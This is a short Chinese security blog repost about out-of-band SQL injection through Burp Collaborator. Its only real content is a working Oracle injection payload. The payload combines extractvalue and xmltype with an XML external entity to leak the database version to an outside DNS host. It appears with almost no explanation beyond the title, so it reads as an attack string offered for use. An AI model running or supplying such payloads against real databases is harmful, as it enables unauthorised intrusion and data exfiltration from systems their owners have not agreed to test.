通过Burp使用DNS协作器进行的带外SQL攻击

admin
admin
admin
102776
文章
87
评论
2022年12月25日01:03:19评论25 views字数 246阅读0分49秒阅读模式


通过Burp使用DNS协作器进行的带外SQL攻击

Version Payload :

(select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % vapot SYSTEM "'||(select version from v$instance)||'Burp/">%vapot;]>'),'/l') from dual)

原文始发于微信公众号（Khan安全攻防实验室）：通过Burp使用DNS协作器进行的带外SQL攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年12月25日01:03:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   通过Burp使用DNS协作器进行的带外SQL攻击https://cn-sec.com/archives/1478687.html

发表评论

匿名网友 填写信息